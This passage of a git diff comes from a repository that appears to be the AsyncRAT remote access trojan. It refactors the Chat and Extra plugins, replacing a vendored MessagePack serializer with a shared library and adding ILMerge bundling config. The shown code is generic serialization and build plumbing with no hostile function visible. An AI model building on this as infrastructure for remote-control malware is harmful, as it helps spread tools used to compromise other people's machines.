decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/packages.config b/AsyncRAT-C#/Plugin/Chat/Chat/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Chat/Chat/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs index 2c6b2bd..4f05f4a 100644 --- a/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj b/AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj index 4453ae4..406f4bf 100644 --- a/AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj @@ -1,5 +1,7 @@  + + Debug @@ -48,15 +50,31 @@ - - - - - - + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/ILMerge.props b/AsyncRAT-C#/Plugin/Extra/Extra/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/Extra/Extra/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Extra/Extra/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPack.cs deleted file mode 100644 index f78f3f1..0000000 --- a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 